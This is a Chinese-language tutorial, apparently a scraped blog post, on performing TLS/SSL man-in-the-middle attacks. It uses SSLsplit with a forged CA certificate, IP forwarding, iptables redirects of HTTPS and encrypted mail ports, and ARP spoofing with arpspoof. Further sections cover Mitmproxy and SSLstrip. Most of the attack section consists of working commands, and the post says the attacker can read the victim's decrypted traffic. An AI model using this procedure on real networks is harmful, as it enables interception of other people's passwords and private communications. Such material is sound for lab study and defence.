天天看点

利用SSLsplit工具实现TLS/SSL中间人攻击 ARP欺骗Mitmproxy

SSL、TLS中间人攻击

利用方法:

ARP地址欺骗

修改DHCP服务器,存在就近原则

手动修改网关

修改DNS设置

修改HOSTS文件

ICMP、STP、OSPF

利用SSLsplit工具实现SSL中间人攻击

透明SSL/TLS中间人攻击工具

对客户端伪装成服务器,对服务器伪装成普通客户端

伪装服务器需要伪造证书

支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击

伪造证书

1.利用openssl生成证书私钥

【-out:输出为文件ca.key】

利用SSLsplit工具实现TLS/SSL中间人攻击 ARP欺骗Mitmproxy

2.利用私钥签名生成证书

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

【req:请求;-new:新的;-x509:格式;-days:有效期;-key指定私钥;-out:根证书】

利用SSLsplit工具实现TLS/SSL中间人攻击 ARP欺骗Mitmproxy

3.开启路由转发功能

启动路由

另一种方法:

echo 1 > /proc/sys/net/ipv4/ip_forward
           
利用SSLsplit工具实现TLS/SSL中间人攻击 ARP欺骗Mitmproxy

4.设置iptables端口转发规则

iptables -t nat -F
           

清空当前表规则

【-t:指定表;-A PERROUTING:路由前生效;-p:指定协议;–dport:接受流量的端口;-j:指定处理方法(REDIRECT重定向);–to-ports:转发端口】

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 【#HTTP】
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 【#HTTPS】
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 【#MSA】
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 【#SMTPS】
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 【#IMAPS】
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 【#POP3S】
           

使用下面命令显示所有刚才配置的规则

iptables -t nat -L

#显示所有规则

利用SSLsplit工具实现TLS/SSL中间人攻击 ARP欺骗Mitmproxy

5. Arp欺骗 ,截获目标主机的网络流量

arpspoof -i eth0 -t

目标IP -r 目标主机网关【-i:指定网卡;-t:欺骗目标;-r:网关地址】

利用SSLsplit工具实现TLS/SSL中间人攻击 ARP欺骗Mitmproxy

6.启动SSLsplit进行攻击

创建目录

mkdir -p test/logdir
           

侦听设定的端口

利用SSLsplit工具实现TLS/SSL中间人攻击 ARP欺骗Mitmproxy

出来一大段就对了

7.伪造成功

伪造成功

通过被害机Win7访问https的网站,会出现“安全证书有问题的错误”,若点击接受,则链路被成功劫持,攻击机可嗅探传输的信息,如下图

利用SSLsplit工具实现TLS/SSL中间人攻击 ARP欺骗Mitmproxy
利用SSLsplit工具实现TLS/SSL中间人攻击 ARP欺骗Mitmproxy

【在客户端访问攻击机时,sslsplit一瞬间将真实访问站点证书的真实信息收集记录下来,进行伪造浏览器中可查看的证书,以供用户查看】

#在connect.log可查看连接信息

利用SSLsplit工具实现TLS/SSL中间人攻击 ARP欺骗Mitmproxy

#在test/logdir可查看传输数据  【使用grep命令筛选数据】

利用SSLsplit工具实现TLS/SSL中间人攻击 ARP欺骗Mitmproxy

#sslsplit会自动进行一定程度的解密,一般可查看到其数据信息

7.安装证书

#当安装过伪造的根证书之后,访问网站的适合,将无告警提示

利用SSLsplit工具实现TLS/SSL中间人攻击 ARP欺骗Mitmproxy

Mitmproxy

前提:进行arp欺骗,但自动集成默认的证书

缺点:只能在8080端口侦听,指定其他端口,会出现问题

设置防火墙规则

iptables -t nat -F

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080

iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080

启动 Mitmproxy

mitmproxy -T --host -w mitmproxy.log  【有类图形化界面;-w:指定的记录文件】

利用SSLsplit工具实现TLS/SSL中间人攻击 ARP欺骗Mitmproxy

SSLstrip

强制受害者发送明文的数据到中间人的电脑,中间人再加密进行传输

与前两种工具不同,将客户端到中间人之间的流量变成明文,但同样需要结合arp地址欺骗  

无需进行证书伪造,但可能会被发现

sslstrip -l 8080

【会自动生成sslstrip.log文件】

中间人攻击前提

【以下某一条符合则可】

  1. 客户端已经信任伪造证书颁发机构(安装其根证书)
  2. 攻击者控制了合法证书颁发机构(控制CA服务器,为自己颁发证书)
  3. 客户端程序禁止了显示证书错误告警信息 (程序员个人能力有限)
  4. 攻击者已经控制客户端,并强制其信任伪造证书 (强制安装中间人的根证书)

继续阅读